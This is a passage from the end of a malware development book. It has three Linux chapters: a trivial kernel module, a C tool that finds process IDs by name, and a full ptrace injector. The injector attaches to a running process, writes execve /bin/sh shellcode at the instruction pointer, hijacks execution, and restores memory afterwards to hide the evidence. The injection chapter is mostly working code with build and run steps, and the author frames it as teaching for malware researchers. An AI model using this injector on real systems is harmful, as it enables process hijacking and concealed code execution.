- static int __init hack_init(void) - defines the function as a static function
(local to this file) and marks it as an initialization function using the __init macro.
- printk(KERN_INFO "Meow-meow!\n") - prints the message "Meow-meow!" to the
kernel log with an informational log level. - return 0 - returns 0 to indicate successful
initialization.
Next one is the hack_exit function:
static void __exit hack_exit(void) {
printk(KERN_INFO "Meow-bow!\n");
}
This function is the cleanup function for the module:
• static void __exit hack_exit(void) - defines the function as a static
function and marks it as an exit (cleanup) function using the __exit macro.
• printk(KERN_INFO "Meow-bow!\n") - prints the message "Meow-bow!" to
the kernel log with an informational log level.
Then, registering the initialization and cleanup functions:
module_init(hack_init);
module_exit(hack_exit);
So, the full source code is looks like this hack.c:
/*
* hack.c
* introduction to linux kernel hacking
* author @cocomelonc
* https://cocomelonc.github.io/linux/2024/06/20/kernel-hacking-1.html
*/
#include <linux/init.h>
#include <linux/module.h>
#include <linux/kernel.h>

MODULE_LICENSE("GPL");
MODULE_AUTHOR("cocomelonc");

919
MODULE_DESCRIPTION("kernel-test-01");
MODULE_VERSION("0.001");

static int __init hack_init(void) {


printk(KERN_INFO "Meow-meow!\n");
return 0;
}

static void __exit hack_exit(void) {


printk(KERN_INFO "Meow-bow!\n");
}

module_init(hack_init);
module_exit(hack_exit);
This code demonstrates the basic structure of a Linux kernel module, including how
to define initialization and cleanup functions and how to provide metadata about the
module.

demo
Let’s go to see this module in action. Before compiling you need install:
$ apt update
$ apt install build-essential linux-headers-$(uname -r)
For compiling create Makefile file with the following content:
obj-m += hack.o

all:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules

clean:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean
The provided Makefile is used to compile and clean a Linux kernel module.
obj-m variable is used to list the object files to be built as kernel modules. hack.o
is the object file that will be built from the hack.c source file. The += operator adds
hack.o to the list of object files to be compiled as modules.
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
This command invokes make to compile the module. -C /lib/modules/$(shell
uname -r)/build changes the directory to the build directory of the currently running
kernel. $(shell uname -r) gets the version of the currently running kernel, and
/lib/modules/$(shell uname -r)/build is where the kernel build directory is
located.

920
M=$(PWD) sets the M variable to the current working directory $(PWD), which is where
your module source code is located. This tells the kernel build system to look in the
current directory for the module source files.
and modules this target in the kernel build system compiles the modules listed in obj-m.
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean - this
command cleans up the module build files.
Open a terminal, navigate to the directory containing hack.c and Makefile:

and run the following command to compile the module:


make

As a result, after running the make command, you will find several new intermediate
binaries. However, the most significant addition will be the presence of a new hack.ko
file.
So, what’s next. Run dmesg command in new terminal:
dmesg

921
Then run the following command from our hack.ko dir for load this module into
running kernel:
sudo insmod hack.ko
Now, if you check dmesg again from new terminal, you should see a Meow-meow! line:

For deleting our module from running kernel just run:


sudo rmmod hack

922
As you can see, Meow-bow! message in kernel buffer, so everything is worked perfectly
as expected! =.. =
There are one more caveat of course. When building a Linux kernel module, it is
important to note that it belongs to the specific kernel version it was built on. If you
attempt to load a module onto a system with a different kernel, it is highly probable that
it will fail to load.
I think we’ll take a break here, we’ll look at rootkits and stealers in the following posts.
I hope this post with practical example is useful for malware researchers, linux program-
mers and everyone who interested on linux kernel programming techniques.
source code in github

923
99. linux malware development 2: find process ID by name. Simple
C example.

I promised to shed light on programming rootkits and other interesting and evil things
when programming malware for Linux, but before we start, let’s try to do simple things.
Some of my readers have no idea how to do, for example, code injections into Linux
processes.
Those who have been reading me for a very long time remember such an interesting
and simple example of finding the process identifier in Windows for injection purposes.

practical example
Let’s implement similar logic for Linux. Everything is very simple:
/*
* hack.c
* linux hacking part 2:
* find process ID by name
* author @cocomelonc
* https://cocomelonc.github.io/linux/2024/09/16/linux-hacking-2.html
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <dirent.h>
#include <ctype.h>

int find_process_by_name(const char *proc_name) {


DIR *dir;
struct dirent *entry;

924
int pid = -1;

dir = opendir("/proc");
if (dir == NULL) {
perror("opendir /proc failed");
return -1;
}

while ((entry = readdir(dir)) != NULL) {


if (isdigit(*entry->d_name)) {
char path[512];
snprintf(path, sizeof(path), "/proc/%s/comm", entry->d_name);

FILE *fp = fopen(path, "r");


if (fp) {
char comm[512];
if (fgets(comm, sizeof(comm), fp) != NULL) {
// remove trailing newline from comm
comm[strcspn(comm, "\r\n")] = 0;
if (strcmp(comm, proc_name) == 0) {
pid = atoi(entry->d_name);
fclose(fp);
break;
}
}
fclose(fp);
}
}
}

closedir(dir);
return pid;
}

int main(int argc, char *argv[]) {


if (argc != 2) {
fprintf(stderr, "usage: %s <process_name>\n", argv[0]);
return 1;
}

int pid = find_process_by_name(argv[1]);


if (pid != -1) {
printf("found pid: %d\n", pid);
} else {
printf("process '%s' not found.\n", argv[1]);
}

925
return 0;
}
My code demonstrates how to search for a running process by its name in Linux by
scanning the /proc directory. It reads the process names stored in /proc/[pid]/comm,
and if it finds a match, it retrieves the process ID (PID) of the target process.
As you can see there are only two functions here. First of all, we implemented
find_process_by_name function. This function is responsible for searching for the
process by name within the /proc directory.
It takes a process name (proc_name) as input and returns the PID of the found process
or -1 if the process is not found.
The function uses the opendir() function to open the /proc directory. This directory
contains information about running processes, with each subdirectory named after a
process ID (PID).
Then, iterate through entries in /proc:
while ((entry = readdir(dir)) != NULL) {
the readdir() function is used to iterate through all entries in the /proc directory,
each entry represents either a running process (if the entry name is a number) or other
system files.
Then checks whether the entry name represents a number (i.e., a process ID). Only
directories named with digits are valid process directories in /proc:
if (isdigit(*entry->d_name)) {
Note that, the comm file inside each /proc/[pid] directory contains the name of the
executable associated with that process:
snprintf(path, sizeof(path), "/proc/%s/comm", entry->d_name);
that means, we constructs the full path to the comm file by combining /proc/, the
process ID (d_name), and /comm.
Finally, we open comm file, read process name and compare it:
FILE *fp = fopen(path, "r");
if (fp) {
char comm[512];
if (fgets(comm, sizeof(comm), fp) != NULL) {
// remove trailing newline from comm
comm[strcspn(comm, "\r\n")] = 0;
if (strcmp(comm, proc_name) == 0) {
pid = atoi(entry->d_name);
fclose(fp);
break;
}

926
}
Then, of course, close the directory and return.
The second function is the main function:
int main(int argc, char *argv[]) {
if (argc != 2) {
fprintf(stderr, "usage: %s <process_name>\n", argv[0]);
return 1;
}

int pid = find_process_by_name(argv[1]);


if (pid != -1) {
printf("found pid: %d\n", pid);
} else {
printf("process '%s' not found.\n", argv[1]);
}

return 0;
}
Just check command-line args and run process finding logic.

demo
Let’s check everything in action. Compile it:
gcc -z execstack hack.c -o hack

Then run it in linux machine:


.\hack [process_name]

927
As you can see, everything is wokred perfectly. We found Telegram ID (75678) in my
case! =.. =
It all seems very easy, doesn’t it?
But there is a caveat. If we try to run it for processes like firefox in my example:
.\hack firefox
we got:

The issue we’re facing may stem from the fact that some processes, like firefox, might
spawn child processes or multiple threads, which might not all use the comm file to
store their process name.
The /proc/[pid]/comm file stores the executable name without the full path and may
not reflect all instances of the process, especially if there are multiple threads or subpro-
cesses under the same parent.
So possible issues in my opinion are:
- different process names in /proc/[pid]/comm: child processes or threads could
use different naming conventions or might not be listed under /proc/[pid]/comm as
firefox.
- zombies or orphan processes: some processes might not show up correctly if they are
in a zombie or orphaned state.

928
practical example 2
Instead of reading the comm file, we can check the /proc/[pid]/cmdline file, which
contains the full command used to start the process (including the process name, full
path, and arguments). This file is more reliable for processes that spawn multiple in-
stances like firefox.
For this reason I just created another version (hack2.c):
/*
* hack2.c
* linux hacking part 2:
* find processes ID by name
* author @cocomelonc
* https://cocomelonc.github.io/linux/2024/09/16/linux-hacking-2.html
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <dirent.h>
#include <ctype.h>

void find_processes_by_name(const char *proc_name) {


DIR *dir;
struct dirent *entry;
int found = 0;

dir = opendir("/proc");
if (dir == NULL) {
perror("opendir /proc failed");
return;
}

while ((entry = readdir(dir)) != NULL) {


if (isdigit(*entry->d_name)) {
char path[512];
snprintf(path, sizeof(path), "/proc/%s/cmdline", entry->d_name);

FILE *fp = fopen(path, "r");


if (fp) {
char cmdline[512];
if (fgets(cmdline, sizeof(cmdline), fp) != NULL) {
// command line arguments are separated by '\0',
// we only need the first argument (the program name)
cmdline[strcspn(cmdline, "\0")] = 0;

// perform case-insensitive comparison

929
// of the base process name
const char *base_name = strrchr(cmdline, '/');
base_name = base_name ? base_name + 1 : cmdline;

if (strcasecmp(base_name, proc_name) == 0) {
printf("found process: %s with PID: %s\n", base_name,
entry->d_name);
found = 1;
}
}
fclose(fp);
}
}
}

if (!found) {
printf("no processes found with the name '%s'.\n", proc_name);
}

closedir(dir);
}

int main(int argc, char *argv[]) {


if (argc != 2) {
fprintf(stderr, "usage: %s <process_name>\n", argv[0]);
return 1;
}

find_processes_by_name(argv[1]);

return 0;
}
As you can see, this is an updated version of the code that reads from /proc/[pid]/cmdline
instead.
But the file /proc/[pid]/cmdline or /proc/[pid]/status may not always show
all subprocesses or threads correctly.

demo 2
Let’s check second example in action. Compile it:
gcc -z execstack hack2.c -o hack2

930
Then run it in linux machine:
.\hack [process_name]

As you can see, it’s correct.


I hope this post with practical example is useful for malware researchers, linux program-
mers and everyone who interested on linux kernel programming and code injection
techniques.
Find process ID by name. Windows version
source code in github

931
100. linux malware development 3: linux process injection with
ptrace. Simple C example.

The number of known injection techniques on Windows machines is huge, for example:
first, second or third examples from my blog.
Today, I’ll guide you through an awesome Linux injection technique using the ptrace
system call. Think of ptrace as your personal key to inspecting, modifying, and even
hijacking other processes.

ptrace
ptrace is a system call that allows you to debug remote processes. The initiating process
has the ability to inspect and modify the debugged process’s memory and registers. GDB,
for example, uses ptrace to control the debugged process.

932
Ptrace offers several useful debugging operations, such as:
PTRACE_ATTACH - allows you to attach to one process, pausing the debugged process
PTRACE_PEEKTEXT - allows you to read data from the address space of another process
PTRACE_POKETEXT - allows you to write data to the address space of another process
PTRACE_GETREGS - reads the current state of the process registers
PTRACE_SETREGS - writes the state of the process registers
PTRACE_CONT - continues execution of the debugged process

practical example
In this step-by-step tutorial I will show you how to:
Attach to a running process.
Inject custom shellcode.
Hijack execution.
Restore the original state after execution.
We’ll break it all down using a simple practical C example. Let’s go!
The first thing we need to do is attach to the process we are interested in. To do this, it
is enough to call ptrace with the PTRACE_ATTACH parameter:
printf("attaching to process %d\n", target_pid);
if (ptrace(PTRACE_ATTACH, target_pid, NULL, NULL) == -1) {
perror("failed to attach");
return 1;
}
This halts the process and allows us to inspect its memory and registers.

933
Before making any changes to the processor registers, we must first take a backup of
their existing state. This enables us to resume execution at a later stage:
struct user_regs_struct target_regs;
//...
//...
// get the current registers
printf("reading process registers\n");
ptrace(PTRACE_GETREGS, target_pid, NULL, &target_regs);
Using PTRACE_PEEKDATA, we read the memory at the instruction pointer (RIP). This
is crucial for restoring the process to its original state after injection. For this reason I
just created read_mem function:
// read memory from the target process
void read_mem(pid_t target_pid, long addr, char *buffer, int len) {
union data_chunk {
long val;
char bytes[sizeof(long)];
} chunk;
int i = 0;
while (i < len / sizeof(long)) {
chunk.val = ptrace(PTRACE_PEEKDATA, target_pid, addr + i * sizeof(long), NULL);
memcpy(buffer + i * sizeof(long), chunk.bytes, sizeof(long));
i++;
}
int remaining = len % sizeof(long);
if (remaining) {
chunk.val = ptrace(PTRACE_PEEKDATA, target_pid, addr + i * sizeof(long), NULL);
memcpy(buffer + i * sizeof(long), chunk.bytes, remaining);
}
}
Let me show the step-by-step workflow of this function.
ptrace reads memory in chunks of sizeof(long) bytes. This union allows us to
easily handle the data as a long for ptrace operations and also access individual bytes
via the bytes array:
union data_chunk {
long val;
char bytes[sizeof(long)];
} chunk;
Then we read full sizeof(long) chunks:
int i = 0;
while (i < len / sizeof(long)) {
chunk.val = ptrace(PTRACE_PEEKDATA, target_pid, addr + i * sizeof(long), NULL);
memcpy(buffer + i * sizeof(long), chunk.bytes, sizeof(long));

934
i++;
}
As you can see, here, we reads a long (typically 8 bytes on 64-bit systems) from
the target process at a specific memory address. Then, the read data is copied into the
buffer using memcpy. This continues until all full sizeof(long) chunks are read.
Then, handle remaining bytes:
int remaining = len % sizeof(long);
if (remaining) {
chunk.val = ptrace(PTRACE_PEEKDATA, target_pid, addr + i * sizeof(long), NULL);
memcpy(buffer + i * sizeof(long), chunk.bytes, remaining);
}
The logic is simple: if the length (len) is not a multiple of sizeof(long), there may
be leftover bytes to read. The function handles these remaining bytes by reading another
full long from memory and copying only the necessary number of bytes into the buffer.
So, as a result, the entire memory block (len bytes) from the target process starting at
addr is now stored in buffer.
With PTRACE_POKEDATA, we inject our custom shellcode into the target process’s mem-
ory at the RIP address.
// write memory into the target process
void write_mem(pid_t target_pid, long addr, char *buffer, int len) {
union data_chunk {
long val;
char bytes[sizeof(long)];
} chunk;
int i = 0;
while (i < len / sizeof(long)) {
memcpy(chunk.bytes, buffer + i * sizeof(long), sizeof(long));
ptrace(PTRACE_POKEDATA, target_pid, addr + i * sizeof(long), chunk.val);
i++;
}
int remaining = len % sizeof(long);
if (remaining) {
memcpy(chunk.bytes, buffer + i * sizeof(long), remaining);
ptrace(PTRACE_POKEDATA, target_pid, addr + i * sizeof(long), chunk.val);
}
}
As you can see this function is like read_mem, but for write memory logic.
At the next stage, we modify the process’s instruction pointer (RIP) to execute the
injected payload:
ptrace(PTRACE_CONT, target_pid, NULL, NULL);

935
After the payload has executed, we restore the original memory instructions to avoid
crashing the process or leaving evidence:
write_mem(target_pid, target_regs.rip, original_code, payload_len);
Finally, detach from the target process, allowing it to resume normal operation:
ptrace(PTRACE_DETACH, target_pid, NULL, NULL);
So the full source code of our code injection “malware” looks like this (hack.c):
/*
* hack.c
* practical example of linux process injection
* author @cocomelonc
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ptrace.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/user.h>
#include <unistd.h>

// read memory from the target process


void read_mem(pid_t target_pid, long addr, char *buffer, int len) {
union data_chunk {
long val;
char bytes[sizeof(long)];
} chunk;
int i = 0;
while (i < len / sizeof(long)) {
chunk.val = ptrace(PTRACE_PEEKDATA, target_pid, addr + i * sizeof(long),
NULL);
memcpy(buffer + i * sizeof(long), chunk.bytes, sizeof(long));
i++;
}
int remaining = len % sizeof(long);
if (remaining) {
chunk.val = ptrace(PTRACE_PEEKDATA, target_pid, addr + i * sizeof(long),
NULL);
memcpy(buffer + i * sizeof(long), chunk.bytes, remaining);
}
}

// write memory into the target process

936
void write_mem(pid_t target_pid, long addr, char *buffer, int len) {
union data_chunk {
long val;
char bytes[sizeof(long)];
} chunk;
int i = 0;
while (i < len / sizeof(long)) {
memcpy(chunk.bytes, buffer + i * sizeof(long), sizeof(long));
ptrace(PTRACE_POKEDATA, target_pid, addr + i * sizeof(long), chunk.val);
i++;
}
int remaining = len % sizeof(long);
if (remaining) {
memcpy(chunk.bytes, buffer + i * sizeof(long), remaining);
ptrace(PTRACE_POKEDATA, target_pid, addr + i * sizeof(long), chunk.val);
}
}

int main(int argc, char *argv[]) {


if (argc != 2) {
printf("usage: %s <target_pid>\n", argv[0]);
return 1;
}

pid_t target_pid = atoi(argv[1]);


char payload[] = "\x48\x31\xf6\x56\x48\xbf\x2f\x62"
"\x69\x6e\x2f\x2f\x73\x68\x57\x54"
"\x5f\x6a\x3b\x58\x99\x0f\x05"; // execve /bin/sh
int payload_len = sizeof(payload) - 1;
char original_code[payload_len];

struct user_regs_struct target_regs;

// attach to the target process


printf("attaching to process %d\n", target_pid);
if (ptrace(PTRACE_ATTACH, target_pid, NULL, NULL) == -1) {
perror("failed to attach :(");
return 1;
}
waitpid(target_pid, NULL, 0);

// get the current registers


printf("reading process registers\n");
ptrace(PTRACE_GETREGS, target_pid, NULL, &target_regs);

// backup the memory at RIP

937
printf("backing up target memory\n");
read_mem(target_pid, target_regs.rip, original_code, payload_len);

// inject the payload


printf("injecting payload\n");
write_mem(target_pid, target_regs.rip, payload, payload_len);

// hijack execution
printf("hijacking process execution\n");
ptrace(PTRACE_CONT, target_pid, NULL, NULL);

// wait for the payload to execute


wait(NULL);

// restore the original code


printf("restoring original process memory\n");
write_mem(target_pid, target_regs.rip, original_code, payload_len);

// detach from the process


printf("detaching from process\n");
ptrace(PTRACE_DETACH, target_pid, NULL, NULL);

printf("injection complete\n");
return 0;
}
But there is a caveat. Why do we use waitpid in process injection code?
When we attach to a process using ptrace (via PTRACE_ATTACH), the target process
doesn’t stop immediately. It continues executing until the operating system delivers a
signal indicating that the debugger (our injector) has taken control. We use waitpid
to block execution in our injector until the target process enters this stopped state:
ptrace(PTRACE_ATTACH, target_pid, NULL, NULL);
waitpid(target_pid, NULL, 0);
Without waitpid, we might attempt to read or modify memory before the OS guaran-
tees that the target process is fully stopped, leading to undefined behavior.
Also, in process injection, we often need to detect when our injected shellcode has finished
executing. To do this, we use a software interrupt, such as the int 0x3 instruction,
which triggers a SIGTRAP signal in the target process. This signal pauses the process,
allowing us to regain control via waitpid.
Ok, but what about wait. What is wait, and when do we use it?
The wait function is a simpler variant of waitpid. It waits for any child process to
change state. Unlike waitpid, it doesn’t let us specify a specific PID or use advanced
options.

938
In the context of process injection, we don’t typically use wait, as we need fine-grained
control over a specific process (our target), which waitpid provides. However, wait
might be used in cases where multiple child processes are involved, and we don’t care
which one changes state first.
So, by using waitpid strategically, we can ensure smooth and reliable process injection.
For simplicity, I just used simplest payload:
char payload[] = "\x48\x31\xf6\x56\x48\xbf\x2f\x62"
"\x69\x6e\x2f\x2f\x73\x68\x57\x54"
"\x5f\x6a\x3b\x58\x99\x0f\x05"; // execve /bin/sh

demo
First of all for demonstrating purposes we need a “victim” process.
Here’s a simple “victim” process written in C that runs an infinite loop, making it a
suitable target for injection testing. This program will print a message periodically,
simulating a real running process:
/*
* meow.c
* simple "victim" process for injection testing
* author @cocomelonc
* https://cocomelonc.github.io/malware/2024/11/22/linux-hacking-3.html
*/

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main() {
printf("victim process started. PID: %d\n", getpid());

while (1) {
printf("meow-meow... PID: %d\n", getpid());
sleep(5); // simulate periodic activity
}

return 0;
}
Compile the victim process:
gcc meow.c -o meow

939
and compile hack.c injector:
gcc -z execstack hack.c -o hack

Run the victim process first in my Ubuntu 24.04 VM:


./meow
Note the PID printed by the victim process:

In our case PID = 5987.


We can now use this PID as the target for our injection hack. For example:
./hack 5987

940
This will attach to the victim process and inject our payload while the victim keeps
running:

941
As you can see everything is worked perfectly! =.. =

final words
This practical example demonstrates how ptrace can be weaponized for injecting cus-
tom shellcode into a process and modifying its execution flow.
Of course this technique with ptrace is not new, but highlight how legitimate func-
tionality can be misused for malicious purposes.
I hope this post with practical example is useful for malware researchers, linux pro-
grammers and everyone who interested on linux kernel programming and linux code
injection techniques.
Note: Linux also provides process_vm_readv() and process_vm_writev() for read-
ing/writing to process memory.
ptrace
Linux malware development 1: intro to kernel hacking. Simple C example
Linux malware development 2: find process ID by name. Simple C example
source code in github

942
101. final
Alhamdulillah, I finished writing this book and we still going treatment with my daughter
Munira. It was quite difficult since writing books are always difficult even for me with
my experience. In sha Allah everything will be fine. O Allah, Lord of the Worlds, give
strength to my daughter.
Why is the book called that? MD - means Malware Development, The MZ signature is
a signature used by the MS-DOS relocatable 16-bit EXE format and its still present in
today’s PE files for backwards compatibility., also MD MZ means My Daughter Munira
Zhassulankyzy.
I will be very happy if this book helps at least one person to gain knowledge and learn
the science of cybersecurity. The book is mostly practice oriented.
I would like to express my deep gratitude to my friends and colleagues.
Special thanks to Anna Tsyganova and Duman Sembayev.
All examples are practical cases for educational and research purposes only.
Thanks for your time happy hacking and good bye!
PS. All drawings and screenshots are mine

943
NOVEMBER 2024

THANK YOU!

COCOMELONC
ZHASSULAN ZHUSSUPOV
The proceeds from the sale of this book will
be used to treat my daughter Munira and to
charity fund

ALL RIGTHS RESERVED

You might also like